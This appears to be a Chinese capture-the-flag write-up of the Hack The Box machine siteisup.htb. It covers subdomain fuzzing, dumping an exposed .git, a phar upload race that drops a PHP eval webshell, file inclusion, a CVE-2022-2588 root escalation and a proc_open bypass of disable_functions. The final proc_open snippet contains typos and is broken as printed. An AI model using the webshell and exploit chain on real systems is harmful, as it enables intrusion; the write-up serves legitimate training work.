OverView
- 子域名收集
- gitdump 读取 /.git
- php proc_open 命令执行
Enumeration
Nmap
nmap -sV 10.10.11.177
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-21 15:25 CST
Nmap scan report for 10.10.11.177
Host is up (0.31s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.37 seconds
开放了两个端口 22 和 80
siteisup.htb
SubDomain Gather
子域名收集
sudo wfuzz -c -f subdomain.txt -w /usr/share/amass/wordlists/subdomains.lst -u "http://siteisup.htb" -H "host:FUZZ.siteisup.htb" --hl 39
扫到了 dev 域名,那么就将它加入 /etc/hosts 文件中
Dict Scan
扫目录
打开 /dev/.git 可以发现能够下载源码
Git leak
但是用 GitHack 下载不下来,然后去 https://github.com/arthaud/git-dumper 下载了 git-dump。
sudo pip install git-dump
安装在了 ~/.local/bin 路径下
然后
git-dumper http://10.10.11.177/dev/.git /tmp
下载到了 admin.php
<?php
if(DIRECTACCESS){
die("Access Denied");
}
#ToDo
?>
changelog.txt
Beta version
1- Check a bunch of websites.
-- ToDo:
1- Multithreading for a faster version :D.
2- Remove the upload option.
3- New admin panel.
check.php
<?php
if(DIRECTACCESS){
die("Access Denied");
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset='utf-8' />
<meta http-equiv="X-UA-Compatible" content="chrome=1" />
<link rel="stylesheet" type="text/css" media="screen" href="stylesheet.css">
<title>Is my Website up ? (beta version)</title>
</head>
<body>
<div id="header_wrap" class="outer">
<header class="inner">
<h1 id="project_title">Welcome,<br> Is My Website UP ?</h1>
<h2 id="project_tagline">In this version you are able to scan a list of websites !</h2>
</header>
</div>
<div id="main_content_wrap" class="outer">
<section id="main_content" class="inner">
<form method="post" enctype="multipart/form-data">
<label>List of websites to check:</label><br><br>
<input type="file" name="file" size="50">
<input name="check" type="submit" value="Check">
</form>
<?php
function isitup($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, trim($url));
curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$f = curl_exec($ch);
$header = curl_getinfo($ch);
if($f AND $header['http_code'] == 200){
return array(true,$f);
}else{
return false;
}
curl_close($ch);
}
if($_POST['check']){
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
foreach($websites as $site){
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
}else{
echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
}
}else{
echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
}
}
# Delete the uploaded file.
@unlink($final_path);
}
function getExtension($file) {
$extension = strrpos($file,".");
return ($extension===false) ? "" : substr($file,$extension+1);
}
?>
</section>
</div>
<div id="footer_wrap" class="outer">
<footer class="inner">
<p class="copyright">siteisup.htb (beta)</p><br>
<a class="changelog" href="changelog.txt">changelog.txt</a><br>
</footer>
</div>
</body>
</html>
index.php
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
define("DIRECTACCESS",false);
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
include($_GET['page'] . ".php");
}else{
include("checker.php");
}
?>
.htaccess
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
猜测大概意思也就是我们需要在请求头中加上
Special-Dev: only4dev
然后访问 dev.siteisup.htb 这个子域名就能访问到这个运维开发站点,也就是上面的源码
Burp Suite 上加上这个
然后访问 dev.siteisup.htb 这个域名就可以发现了多了管理员页面了。可以上传文件。但是怎么利用呢?从上面 .git 泄露下载到的代码可以发现不允许上传 php 文件,但是可以上传 phar 文件。我们可以尝试上传 phar 文件并且访问看看能不能解析。
但是上传的文件通过 curl 的方式对多个网址进行解析,最后并删除该文件。上传到 uploads 目录下。也就是说如果我们提供足够多的网址,在 curl 的过程中就会花费一定的时间,这时候我们去尝试访问 phar 文件。
ok,接下来写一个脚本生成这个 phar 文件吧
i = 0
with open("e.phar",mode="w+") as f:
while i < 99:
f.write("https://baidu.com")
f.write("\n")
#f.write("<?php phpinfo()?>;")
i = i + 1
f.write("<?php file_put_contents('/tmp/test.php','<?php @eval($_REQUEST[1]);')?>")
f.write("\n")
while i < 299:
f.write("http://baidu.com")
f.write("\n")
i = i + 1
OK,生成了 e.phar 现在我们上传吧,但是问题来了,我们如何能够找到这个文件呢?查看源码发现是对文件目录进行了 md5 加密的
所幸的是,网站存在目录遍历漏洞。我们可以很轻松的找到我们文件存放的位置
这时候点击这个 phar,尝试在 tmp 目录下写入 shell 然后再用文件包含漏洞。
成功!
查看一下 phpinfo 有趣的是,即便 disable_functions 中存在许多函数,我们蚁🗡还是可以执行一定的命令
我们权限只有 www-data,连 user.txt 都读取不了。下面需要提权。方法有两种。
方法一: 我先上传了 PEASS-ng 这个辅助提权脚本。然后尝试 CVE-2022-2588 https://github.com/Markakd/CVE-2022-2588, 发现直接可以在 /etc/passwd 写下了一个 root 用户。显然是成功了。可是,我这是用蚁剑连接的 shell,并不是交互式的。而想要提权除了运行那个文件还需要 su user 输入密码 user。而在蚁🗡的 shell 是做不到的。
尝试反弹 shell,但是又不出网。卡了好久。然后在群里面问了一下学长,原来可以用哥斯拉 shell 管理工具的的 super 终端。
确实是好东西,终于有一个交互式 shell 了,虽然有点慢,但是可以提权了
End
有趣的是,即便 disable_functions 中存在许多函数,我们蚁🗡还是可以执行一定的命令
后面看了题解才知道原来可以用 proc_open 函数执行命令
<?php
$descript = array(
0 => array("pipe","r"),
1 => array("pipe","w"),
2 => array("file","/tmp/error-output.txt","a")
);
$process = proc_open('sh',$descript,$pipes,$cwd,$env);
if(is_resource($process)) {
fwite($pipes[0],'touch aaaaaa.txt');
fclose($pipes[0]);
echo stream_get_contents($pipe[1]);
fclose($pipes[1]);
$return_vale = proc_close($process);
echo "command returned $return_value\n";
}